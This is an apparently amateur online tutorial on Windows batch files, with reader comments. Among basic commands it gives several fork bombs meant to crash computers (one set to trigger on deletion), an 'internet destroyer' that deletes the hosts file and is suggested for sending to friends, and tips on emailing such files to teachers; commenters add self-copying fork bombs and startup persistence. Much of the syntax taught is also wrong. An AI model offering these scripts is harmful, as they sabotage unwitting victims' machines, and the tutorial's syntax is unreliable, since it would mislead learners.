Introduction: How to Do Batch

Picture of How to Do Batch

I know that there are alot of batch tutorials out there, but I like batch, so I want to do my own. And I'm sorry but, I DON'T HAVE A CAMERA, so I can't give you any pictures. And also, I am not responsible for what you do with this info. And i know there is pictures, I picked random photos from google so instructables would leave me alone

Step 1: The Basics

Picture of The Basics

ok, so now you want to learn batch. what is it again?
batch files are files similar t programs, while these are not programs, they do a lot that a program can do, and are the backbone of all programs. Any batch file is stored with the file extension/type .bat, you should always remember this. basic commands
start-starts a program
ex: start monkeys.bat
delete-deletes a program
ex: delete monkeys.bat
color-changes the current color of the command prompt window
ex: color 0A (changes background to black, and lettering to green)
help-displays all of the current available commands, and gives more information on a topic if you type it before the command
ex: help start (shows parameters and uses of the command start)



Step 2: Intermediates of Batch

Picture of Intermediates of Batch

This is where it gets good, using complicated commands in batch is not my specialty, so I like the basics.

GOTO-Goes to a certain line in the program

Ex:
:m
echo continuation
goto m

when using goto, it is important to put goto m, or the recommendation you would like to use, and the recommendation that you use has to always have that : before it.

IF- conditioning in a program

Ex:IF (start monkey.bat) delete monkey.bat

IF is very usefule to me and it should be to you if you are going into batch. IF is like this, if the person does this, then do this. I'm not sure if you have to start the program for the line to be remembered or if you just execute the line secretly and then it's executed. I know that if you have a large first line of syntax that it's good to put a parenthesis around it. I use this alot!!!

Step 3: Variables and Advanced Batch

Picture of Variables and Advanced Batch

variables are only used from me if you have a big program, in the long run it'll save you a lot of time, but only in the long run. variables are set by the command set for example
SET 1=start monkey.bat

for every 1 it'll run the line, that line will be useful in a second.

a fork bomb

sorry for the other instructable people that already have written this down, but i've thought up a better one. There was a good fork bomb, and a bad one. The one i'm going to use is improved in size and in syntax, it is the revised version of the bad fork bomb. the good one looked like this:

:m
m
start cmd.exe
goto m

this is the bad one

:m
start
start
start
goto m

these aren't exact, butthey pretty close

the good one had good syntax but it doesn't make a computer crash, just get tired. The bad one was just a knock off of the good one. Here's my version:

:m
start monkey.bat
start monkey.bat
start monkey.bat
start monkey.bat
goto m

save as: monkey.bat . Well, I'm not responsible for what you do with this, it's similar to blue screen, so create as your own risk.

Step 4: The Backup

Picture of The Backup

The backup is what i use for when I know someone will destroy my batch file

IF (DELETE monkey.bat) goto m
IF (ERASE monkey.bat) goto m
echo don't delete me, or else
pause
exit
:m
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
goto m

there's a part of this that I won't put in because it's brutal

And some computers enable erase, but not delete, so you should put both. And also remember, write this at your own risk.

Step 5: Conclusion and Views

Picture of Conclusion and Views

well, i hope you use these skills only for good as i do

and here are some of my views:
on mutant's shutdown your school!

I find this instructable alright, but the ITs have probably already have figured it out. And you don't have to do the 1st step, it kind of gives away your cover, duh. And i think he got from somewhere else, how can a 14 year old be so experienced in batch? Especially his use of cross programs, that is interesting. and i think it would be good if he explained the virus replicator a little more.

how I would send a batch file

You need to have an email account(gmail is free, but doesn't allow executable file exchange), and then you need to send it as a file attachment. if you plan to screw over your teacher or something, they'll probably see through it, especially if they are the computer teacher. give it to a gullible teacher

Step 6: Reference

Picture of Reference

what is a reference (in computing)?

a reference is when i give you a lead or somebody else gives you a lead. for example on the news you saw hacking on cameras, so you looked at their website to find out how to do it.
Here's some:
http://www.symantec.com/business/security_response/threatexplorer/threats.jsp
www.I-Hacked.com (sometimes you have to search in google for it)

I'll find some later but that's all i got

Step 7: Extra Add Ons (matrix)

Picture of Extra Add Ons (matrix)

i added this after i figured that there were alot of batch instructables, so i should add more to put it to the top

Matrix is just repeated numbers

Enter this code:

@echo off
color 0a
:top
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top

this isn't exactly like the matrix (i mean the wierd letterings) but it's good to go

Step 8: Add On2

Picture of Add On2

internet destroyer

apparently this code when sended to a friend will destroy their internet or something

open up notepad and type

@echo off
cd WINDOWS\SYSTEM32\DRIVERS\ETC
attrib hosts -r -h
del hosts

save as whatever.bat and in whatever as in type whatever you want.

i call it the agent lol

Step 9: Star Wars

Picture of Star Wars

this one's called start wars just type in the following and it'll play a short movie on star wars:
Telnet Towel.blinkenlights.nl
type it exactly as it is

Comments

karsens (author)2015-06-02

I made this little computer slave that does things for you:

@echo off

mode 1000

color 9f

echo -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

echo Joe, The Virtual Slave

echo.

echo -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

echo Made By Karsen Seel.

echo.

echo.

echo ------------

echo INSTRUCTIONS

ECHO ------------

echo.

set /p n=Please type in "joe123" to Access Intro:

If %n% == joe123 goto intro

If %n% == 99 goto commands

If %n% == zxcvbn12 goto commands

If not %n% == zxcvbn12 goto again2

If not %n% == joe123 goto again

:again

cls

color 7

echo ERROR!

echo ------

echo ------

set /p n=Please try again:

If %n% == joe123 goto intro

If not %n% == joe123 goto exit

:exit

cls

color 74

echo -----------

echo WRONG CODE!

echo -----------

echo Please leave by pressing any key...

pause >nul

exit

:intro

cls

color 9f

echo Welcome to the Intro!

echo ---------------------

echo Press any Key to Continue....

pause >nul

:intro2

cls

echo There is only one thing you need to know...

echo.

timeout 2 >nul

echo If you see a flashing blank dot like the one below...

echo.

timeout 4 >nul

echo press any key of your choice to continue the text/program...

echo -----------------------------------------------------------

timeout 4 >nul

echo Here's a test for you to see if you were paying attention...

timeout 5 >nul

cls

pause >nul

echo -----------------------------------------------------------

echo Good Job! You're not as stupid as I thought

echo.

timeout 3 >nul

echo There will be times where the code has to prossess to continue..

timeout 4 >nul

echo.

echo So do not be too quick on the draw on pressing any key..give it atleast 5 solid seconds before pressing anything...

timeout 8 >nul

cls

echo Now continue like this for the rest of the Program.

echo ----------

echo GOOD LUCK!

echo ----------

pause >nul

cls

color a

echo ----------------

echo CONTINUE TO JOE:

echo ----------------

pause >nul

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

cls

color 9f

echo DO NOT PRESS ANY KEYS!

timeout 4 >nul

cls

echo Loading Joe's Brain...

timeout 3 >nul

color a

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

cls

color 9f

echo Loading Joe's Heart...

timeout 3 >nul

color a

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

cls

color 9f

echo Loading Joe's left Nose hole...

timeout 4 >nultree

color a

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

cls

color f4

echo ----------------------------------

echo WELCOME! to Joe, the virtual slave

echo ----------------------------------

pause >nul

cls

echo You will need a Key to continue into Joe's Network

pause >nul

cls

echo Don't forget it....

pause >nul

cls

echo zxcvbn12

timeout 7 >nul

cls

set /p n=Code:

If %n% == zxcvbn12 goto network

If not %n% == zxcvbn12 goto again2

:network

cls

color a

echo -------

echo NETWORK

echo -------

echo Welcome to my network....

echo >nul

echo Here you will choose what you'd like to do with me, Joe.

echo ---------------------------------------------------

pause >nul

:commands

color a

cls

echo --------

echo COMMANDS

echo --------

echo Open a Website (1)

echo Talk with Ned (2)

echo Spy Tools (3)

echo Play Games (4)

echo Top Secret (5)

echo ------------- (6)

echo ------------- (7)

echo ---------------------------------

echo ---------------------------------

set /p n=Which Command would you like?

If %n% == 1 goto website

If %n% == 2 goto ned

If %n% == 3 goto spy

If %n% == 4 goto games

If %n% == 5 goto secret

If %n% == 6

If %n% == 7

:secret

cls

color f4

echo Welcome to Joe's Top Secret Network

echo -----------------------------------

timeout 3 >nul

echo.

echo You will have to Answer some important questions to continue...

timeout 4 >nul

echo.

echo After that, you will have to create an account that only you may access after...

timeout 5 >nul

echo.

echo DO NOT SHARE YOUR ACCOUNT INFO!

echo -------------------------------

echo THIS IS TOP SECRET STUFF!

echo -------------------------------

set /p cs=Continue:

If %cs% == yes goto cs

If %cs% == no goto nocs

:nocs

cls

echo Okay, have fun not knowing the secret

timeout 3 >nul

cls

echo BYE!

timeout 1 >nul

goto commands

:cs

cls

echo okay...

timeout 1 >nul

cls

echo I will be asking you some questions for security...

timeout 4 >nul

cls

set /p name=what's your name?:

timeout 1 >nul

cls

set /p last=What's your last name?:

timeout 1 >nul

cls

set /p country=What country do you live in?:

timeout 1 >nul

cls

set /p town=What town do you live in?:

timeout 1 >nul

cls

set /p age2=How old are you?:

timeout 1 >nul

cls

echo Loading Information into Network DataBase...

echo -----------------------------------------

timeout 3 >nul

color a

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

timeout 1 >nul

cls

color f4

echo HAHAHAHAHAHAHAHAHA!

timeout 2 >nul

cls

echo It's all a lie!

timeout 1 >nul

echo.

echo THERE IS NO SECRET!

timeout 2 >nul

echo.

echo I JUST STOLE YOUR INFORMATION! THAT'S ALL!

timeout 4 >nul

cls

color a

echo -------------------------------------------------------------------------------------------------

echo.

echo NAME: %name% %last% /// LIVES IN: %town%, %country% /// AGE: %age2% years old ///

echo.

echo -------------------------------------------------------------------------------------------------

pause >nul

cls

color f4

echo Now Don't make me mad...

timeout 3 >nul

cls

echo OR ELSE!

timeout 2 >nul

cls

timeout 1 >nul

goto commands

:website

cls

color f4

echo CHOOSE A WEBSITE

echo ----------------

echo Google (a)

echo Facebook (b)

echo Netflix (c)

echo Youtube (d)

echo Wikipedia (e)

echo ---------------------

echo Google Search (q)

echo ---------------------

echo Website Test (w)

echo ---------------------

echo Back to Commands Page (x)

echo --------------------------------------

set /p n=Which Website would you like?

If %n% == a goto ggl

If %n% == b goto fb

If %n% == c goto nflx

If %n% == d goto utb

If %n% == e goto wiki

If %n% == x goto commands

If %n% == q goto search

If %n% == w goto sites

:sites

color f4

cls

color f4

echo Here you will type in any word and see if it's a website or not...

timeout 6 >nul

cls

echo Loading Website code...

timeout 3 >nul

cls

color a

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

timeout 1 >nul

:end

cls

color f4

echo .com (com)

echo .net (net)

echo .org (org)

echo .ca (ca)

echo .us (us)

echo .eu (eu)

echo ----------------------------

echo Go back to Websites Page? (wx)

echo.

set /p end=Choose an ending:

If %end% == com goto com

If %end% == net goto net

If %end% == org goto org

If %end% == ca goto ca

If %end% == us goto us

If %end% == eu goto eu

If %end% == wx goto website

:com

cls

set /p site=Choose a URL:

timeout 1 >nul

cls

color a

echo Loading www.%site%.%end%...

timeout 2 >nul

start www.%site%.%end%

timeout 5 >nul

cls

set /p back=Choose another URL?

If %back% == yes goto com

If %back% == no goto end

:net

cls

set /p site=Choose a URL:

timeout 1 >nul

cls

color a

echo Loading www.%site%.%end%...

timeout 2 >nul

start www.%site%.%end%

timeout 5 >nul

cls

set /p back=Choose another URL?

If %back% == yes goto net

If %back% == no goto end

:org

cls

set /p site=Choose a URL:

timeout 1 >nul

cls

color a

echo Loading www.%site%.%end%...

timeout 2 >nul

start www.%site%.%end%

timeout 5 >nul

cls

set /p back=Choose another URL?

If %back% == yes goto org

If %back% == no goto end

:ca

cls

set /p site=Choose a URL:

timeout 1 >nul

cls

color a

echo Loading www.%site%.%end%...

timeout 2 >nul

start www.%site%.%end%

timeout 5 >nul

cls

set /p back=Choose another URL?

If %back% == yes goto ca

If %back% == no goto end

:us

cls

set /p site=Choose a URL:

timeout 1 >nul

cls

color a

echo Loading www.%site%.%end%...

timeout 2 >nul

start www.%site%.%end%

timeout 5 >nul

cls

set /p back=Choose another URL?

If %back% == yes goto us

If %back% == no goto end

:eu

cls

set /p site=Choose a URL:

timeout 1 >nul

cls

color a

echo Loading www.%site%.%end%...

timeout 2 >nul

start www.%site%.%end%

timeout 5 >nul

cls

set /p back=Choose another URL?

If %back% == yes goto eu

If %back% == no goto end

:search

cls

color f4

echo GOOGLE SEARCH

echo -------------

echo.

set /p srch=Search:

If %srch%==%srch% goto search2

:search2

cls

echo Searching for %srch%...

timeout 2 >nul

start http://www.google.com/search?q=%srch%

timeout 5 >nul

goto search3

:search3

cls

echo Search again?

set /p searching=

If %searching% == yes goto search

If %searching% == no goto website

:ggl

cls

start https://www.google.ca/

echo LOADING www.google.com....

timeout 5 >nul

goto commands

:fb

cls

start https://www.facebook.com/?_rdr

echo LOADING www.facebook.com...

timeout 5 >nul

goto commands

:nflx

cls

start https://www.netflix.com/ca/

echo LOADING www.netflix.com

timeout 5 >nul

goto commands

:utb

cls

start https://www.youtube.com/

echo LOADING www.youtube.com...

timeout 5 >nul

goto commands

:wiki

start http://www.wikipedia.org/

echo LOADING www.wikipedia.org...

timeout 5 >nul

goto commands

:again2

cls

color 7

echo ERROR!

echo ------

echo ------

set /p n=Please try again:

If %n% == zxcvbn12 goto network

If not %n% == zxcvbn12 goto exit

:ned

cls

color f4

echo Hi! My name's Ned, what's yours?

set /p name=

timeout 1 >nul

cls

echo Welcome %name%!

echo How old are you?

set /p age=

timeout 1 >nul

cls

echo Oh cool! I wish I was %age%!

timeout 2 >nul

echo I'm only 5 years old...

timeout 3 >nul

cls

echo What's your favourite colour %name%?

set /p color=

If %color% == blue goto ned1

If %color% == red goto ned2

If %color% == yellow goto ned3

If %color% == green goto ned4

If %color% == purple goto ned5

If %color% == black goto ned6

If %color% == white goto ned7

:ned1

cls

color 71

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:ned2

cls

color 74

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:ned3

cls

color 6

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:ned4

cls

color 2

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:ned5

cls

color 5

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:ned6

cls

color 70

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:ned7

cls

color 7

echo Oh cool! MINE TOO!

timeout 3 >nul

goto nedx

:nedx

cls

color f4

echo What do you want to talk about now?

set /p thing=

timeout 1 >nul

echo Oh! I've never heard of a %thing%?

timeout 2 >nul

echo.

echo Does it live with you?

set /p thing1x=

If %thing1x% == yes goto thingyes

If %thing1x% == no goto thingno

:thingyes

cls

echo WOW I wish I had one living with me...

timeout 3 >nul

goto nednext

:thingno

cls

echo Oh okay, sorry I just don't know what it is...

timeout 4 >nul

goto nednext

:nednext

cls

echo I have an Idea!

timeout 2 >nul

echo.

echo Let's play a question game!

timeout 2 >nul

echo.

echo Do you want to play?

set /p play=

If %play% == yes goto play

If %play% == no goto noplay

:noplay

cls

echo Oh that's okay

timeout 2 >nul

goto sleep

:play

cls

echo I'm so happy you said yes! I love playing games!

timeout 4 >nul

echo.

echo Okay! you choose a thing for me to guess first...

echo timeout 4 >nul

cls

color a

set /p word=Choose a thing that Ned can guess:

cls

color f4

timeout 1 >nul

echo okay...

timeout 1 >nul

echo.

echo Is it big?

set /p big=

echo.

echo Is it an animal?

set /p animal=

echo.

echo Do you own one?

set /p own=

echo.

echo Oh! I know!

timeout 1 >nul

echo.

cls

echo Is it a %word%?

set /p wordguess=

If %wordguess% == yes goto wgy

If %wordguess% == no goto wgn

:wgy

cls

echo Yes! I'm so good at this game!

timeout 3 >nul

goto sleep

:wgn

cls

echo I think you're lying to me...

timeout 3 >nul

echo.

echo But it's okay, I forgive you...

timeout 3 >nul

goto sleep

:sleep

cls

color f4

echo Is it okay if I sleep right now %name%?

timeout 2 >nul

echo I'm getting kind of tired...

set /p x=

If %x%==yes goto nedx2

If %x%==no goto nedx3

:nedx2

cls

echo Thank you!

timeout 2 >nul

echo Tell Joe I said Hi!

timeout 3 >nul

cls

echo BYE BYE!

timeout 2 >nul

goto commands

:nedx3

cls

echo Well I'm sorry but I'm too tired..

timeout 3 >nul

cls

echo BYE!

timeout 2 >nul

goto commands

:spy

cls

color f4

echo -----------------

echo CHOOSE A SPY TOOL

echo -----------------

echo -----------------

echo Shutdown other people's computers DO THAT HERE: (h1)

echo ---------------------------------------------------

echo Is someone using my Wifi? FIND OUT HERE: (h2)

echo ---------------------------------------------------

echo Go back to Commands list... PRESS: (x)

echo ---------------------------------------------------

set /p hack=

If %hack% == h1 goto h2

If %hack% == h2 goto h1

If %hack% == x goto commands

:h1

cls

color a

echo If you see an unknown Ip address that says "established" someone is stealing your wifi...

echo -------

pause >nul

cls

echo ---------------

echo LOADING DATA...

echo ---------------

timeout 3 >nul

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

timeout 1 >nul

cls

color 2

netstat -a

echo ---------------------------------------------------------------

echo Hit any key to go back...

pause >nul

goto spy

:h2

cls

color a

echo Just follw the pre-set intstructions when the white box pops up...

pause >nul

cls

echo LOADING SHUTDOWN CODES...

timeout 2 >nul

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

cls

shutdown -i

timeout 1 >nul

cls

color 2

set /p cmd= Go back to Spy Tool list? PRESS (s)

If %cmd% == s goto spy

:games

cls

color a

echo SELECT A GAME:

echo --------------

echo.

echo Trivia Game (a)

echo ----------- (b)

echo ----------- (c)

echo ---------------------------

echo Go back to Commands List (x)

set /p game=

If %game% == a goto g1

If %game% == b goto

If %game% == c goto

If %game% == x goto commands

:g1

cls

color f4

echo ------------------

echo JOE'S TRIVIA GAME!

echo ------------------

echo.

echo.

echo start playing? (1)

echo ------------------

echo Exit the Game? (2)

echo ------------------

set /p start=

If %start% == 1 goto sg

If %start% == 2 goto games

:sg

cls

color a

echo LOADING THE QUESTIONS...

timeout 3 >nul

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

tree

timeout 1 >nul

cls

color 70

echo Question 1.

echo -----------

echo.

echo Who has won more Oscars than anybody else?

echo.

echo a) Walt Disney

echo b) Johnny Depp

echo c) Will Smith

echo d) Tom Hanks

echo ----------------

set /p actor=

If %actor% == a goto q1

If %actor% == b goto no1

If %actor% == c goto no1

If %actor% == d goto no1

:q1

cls

echo CORRECT! + 10 points

timeout 3 >nul

goto question

:no1

cls

echo WRONG ANSWER! +0 points

timeout 3 >nul

goto question1

:question

cls

echo Question 2. Your Points: 10

echo -----------

echo.

echo What is the world's most widely spoken native tongue language?

echo.

echo a) English

echo b) German

echo c) Mandarin

echo d) japenese

echo ----------------

set /p lang=

If %lang% == a goto no2

If %lang% == b goto no2

If %lang% == c goto q2

If %lang% == d goto no2

:question1

cls

echo Question 2. Your Points: 0

echo -----------

echo.

echo What is the world's most widely spoken native tongue language?

echo.

echo a) English

echo b) German

echo c) Mandarin

echo d) japenese

echo ----------------

set /p lang=

If %lang% == a goto no3

If %lang% == b goto no3

If %lang% == c goto q3

If %lang% == d goto no3

:q2

cls

echo CORRECT! + 10 points

timeout 3 >nul

goto question2

:q3

cls

echo CORRECT! + 10 points

timeout 3 >nul

goto question20

:no2

cls

echo WRONG ANSWER! +0 points

timeout 3 >nul

goto question200

:no3

cls

echo WRONG ANSWER! +0 points

timeout 3 >nul

goto question2000

:q3

cls

echo CORRECT! + 10 points

timeout 3 >nul

goto question20

:question2

cls

echo Question 3. Your Points: 20

echo -----------

echo.

echo Which American city is considered the home of Jazz?

echo.

echo a) New Orleans

echo b) New York

echo c) Boston

echo d) Dixie

echo -----------------

set /p jazz=

If %jazz% == a goto q4

If %jazz% == b goto no3

If %jazz% == c goto no3

If %jazz% == d goto no3

:question20

cls

echo Question 3. Your Points: 10

echo -----------

echo.

echo Which American city is considered the home of Jazz?

echo.

echo a) New Orleans

echo b) New York

echo c) Boston

echo d) Dixie

echo -----------------

set /p jazz=

If %jazz% == a goto q5

If %jazz% == b goto no4

If %jazz% == c goto no4

If %jazz% == d goto no4

:question200

cls

echo Question 3. Your Points: 10

echo -----------

echo.

echo Which American city is considered the home of Jazz?

echo.

echo a) New Orleans

echo b) New York

echo c) Boston

echo d) Dixie

echo -----------------

set /p jazz=

If %jazz% == a goto q6

If %jazz% == b goto no5

If %jazz% == c goto no5

If %jazz% == d goto no5

:question2000

cls

echo Question 3. Your Points: 0

echo -----------

echo.

echo Which American city is considered the home of Jazz?

echo.

echo a) New Orleans

echo b) New York

echo c) Boston

echo d) Dixie

echo -----------------

set /p jazz=

If %jazz% == a goto q7

If %jazz% == b goto no5

If %jazz% == c goto no5

If %jazz% == d goto no5

:q4

cls

echo CORRECT!

echo.

timeout 1 >nul

echo YOUR total points were: 30

pause >nul

goto games

:q5

cls

echo CORRECT!

echo.

timeout 1 >nul

echo YOUR total points were: 20

pause >nul

goto games

:q6

cls

echo CORRECT!

echo.

timeout 1 >nul

echo YOUR total points were: 20

pause >nul

goto games

:q7

cls

echo CORRECT!

echo.

timeout 1 >nul

echo YOUR total points were: 10

pause >nul

goto games

:no3

cls

echo WRONG ANSWER!

echo.

timeout 1 >nul

echo Your total points were: 20

pause >nul

goto games

:no4

cls

echo WRONG ANSWER!

echo.

timeout 1 >nul

echo Your total points were: 10

pause >nul

goto gameS

:no5

cls

echo WRONG ANSWER!

echo.

timeout 1 >nul

echo Your total points were: 10

pause >nul

goto games

:no6

cls

echo WRONG ANSWER!

echo.

timeout 1 >nul

echo Your total points were: 0

pause >nul

goto games

----------------------------------------

just copy and paste into notepad and save as *whatever*.bat

demonxkid (author)2009-09-14

how can u make a batch run in full screen

simsnet (author)demonxkid2014-11-21

In 95-XP, press [Alt] and [Enter/Return] together. On Vista+, right-click the area with the X and _, then click properties. Go to Layout and under window size, set 177 as width and 70 as height. Screen buffer width is 768 and SB height is 1024.

samkai (author)demonxkid2011-01-05

right-click the toolbar of a batch file and click properties and option option to make full screen is there

mikroskeem (author)samkai2012-10-30

on vista and 7 it's not possibe
If you try alternate command interpreters, like Take Command(TC), it's may working

graboy (author)demonxkid2010-02-09

cant.

michaelb958 (author)graboy2010-08-06

On XP, press Alt+Enter with the window selected. On 7, can't. On Vista, enlighten me, please...

eehhssaann (author)2014-02-26

today I want to share a fantastic passage for english learners!

onlyonebowman (author)2008-06-02

sending batch files is Illegal in many states

why??? How odd.

Because you can generate viruses, steal information,etc.

will421 (author)bounty10122009-05-04

:| Gmail won`t let me send my version of Catch the Clown!! (saved in ctc.exe)

mikroskeem (author)will4212012-10-30

put it into zip or rar

bounty1012 (author)will4212009-05-05

you mean you use gamemaker too?

mikroskeem (author)2012-04-29

what the hell OS are u using???

insyder1201 (author)mikroskeem2012-10-30

read all of the instructable

mikroskeem (author)insyder12012012-10-30

you dont't have camera:P but the 2nd pic, what os is in there?

Micksta (author)2009-07-19

hey guys i was just wondering how do i make the image start AFTER the last message?

my batch is down there

@echo off
msg * hello
msg * who
msg * are
msg * you
msg * im
msg * the
msg * hacker
msg * youve
msg * been
msg * very
msg * bad
msg * so
msg * im
msg * going
msg * to
msg * teach
msg * you
msg * a
msg * lesson!
start http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg

Prof. Pickle (author)Micksta2012-08-08

@echo off
msg * hello
msg * who
msg * are
msg * you
msg * im
msg * the
msg * hacker
msg * youve
msg * been
msg * very
msg * bad
msg * so
msg * im
msg * going
msg * to
msg * teach
msg * you
msg * a
msg * lesson!
ping localhost -n 30 >nul
start http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg

This should work

mikroskeem (author)2012-04-29

i say you must run batch bombs in VM or DosBox
because there isn't damage to your computer

vorlock (author)2010-04-11

you can, right click the bar at the top>properties>Full screen (Under Display Options)>click ok> choose between current window and all windows.

Doubleblades85 (author)2010-03-24

this is my fork bomb
===================
:s
%0
goto :s

reaper666 (author)2007-12-11

i know i 13 year old who can hack anything so its believable, but hes probobly lying bout his age.

thefirstgaruga (author)reaper6662007-12-11

nah, i'm 15 and i only know a little bit more than mutant

googleman (author)thefirstgaruga2008-07-22

im 12 and i now more than he shows in dis instructable

will421 (author)googleman2009-05-02

I`m 7 and I know waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaay more then that (for batch, at least)

DavidRobertson (author)will4212009-05-05

if your 7 then you shouldnt have an account here cause that would breach the TOS (but who cares?).

mowie (author)DavidRobertson2009-06-02

I am 2 years of age.I can not ever read the TOS.

pink_man_ (author)mowie2009-11-25

if you were 2 you couldn't even type

Arbitror (author)2008-05-16
And if your feeling real mean:
:topstart %0copy /Y %0 %random%.batgoto top
If you are even going to try this, do it in a folder! It is a fork bomb, but every time it opens, it creates a copy of itself!
hg341 (author)Arbitror2009-05-29

lol you need to make it reopen when you boot by puting it in the start up folder

bounty1012 (author)2008-07-26

can someone post an instructable on how to make a video like the star wars thing?

jeshaw3242 (author)bounty10122009-03-18

all it is linking/ connecting to a site with that starwars vid playing in cmd |-(

bounty1012 (author)jeshaw32422009-03-19

I understand, but I would like to learn how to make a movie like it in command prompt.

phant0m_sp00f3ra (author)2008-09-22

Help me, i cant get the txt file to open as batch, it always saves as .bat.txt and it's open with notepad BTW im on vista (and i go it dualbooting as a hackintosh

under where u name it did u select all file types or w/e?

I fixed it mate thanks, by just naming it as .BAT instead of .bat Thanks mate

edfel01 (author)2008-11-06

wow the star wars thing was amazing im currently learning how to use batch and notepad and all so if u have any tips plz send them. Like how do u make a batch account?

Istarian (author)2007-12-07

Interesting. I think you could make a matrix like effect if you could get like a matrix font, set the font type and then use the "random character" batch file up there. Also that break the internet thing basically delete the hosts file, which probably does make the internet not work... ~Istarian

fwjs28 (author)Istarian2008-05-25

try this:

thefirstgaruga (author)Istarian2007-12-07

thanx, you can change it to random letters? obviously, but like matrix letters? and i ask questions sometimes cause i take stuff from other instructables

Istarian (author)thefirstgaruga2007-12-08

I'm not sure, but it seems logical that there ought to be a way to change the font, and with a matrix font, you could have random letters that are matrix characters. There's just one issue, it won't ever look right, because there won't be any blank or continous letter streams, but then batch files have limits. An animated GIF file that looks like the matrix would be cool though. ~Istarian

thefirstgaruga (author)Istarian2007-12-08

well, i wanted it to read something creepy like the matrix will rape you. but i want them to read it in a modern way

reaper666 (author)2007-12-11

what exactaly does this code do????

thefirstgaruga (author)reaper6662007-12-11

it's the virus blue screen revised

GorillazMiko (author)2007-12-06

pretty cool i guess.

bofthem (author)2007-12-04

Thanks for publishing. This tutorial looks good, but needs pictures to really shine on the site. What tends to happen is that instructables without pictures get lost in the crowd and don't see many hits. Would you mind getting pictures of the process (if it's really difficult, you can find pictures that fit well enough on Google and use them) and resubmitting after you've edited them in?

About This Instructable

23,056views

36favorites

License:

More by thefirstgaruga:visual basic scripting tricks (2)how to do batchhow to beat the matrix
Add instructable to: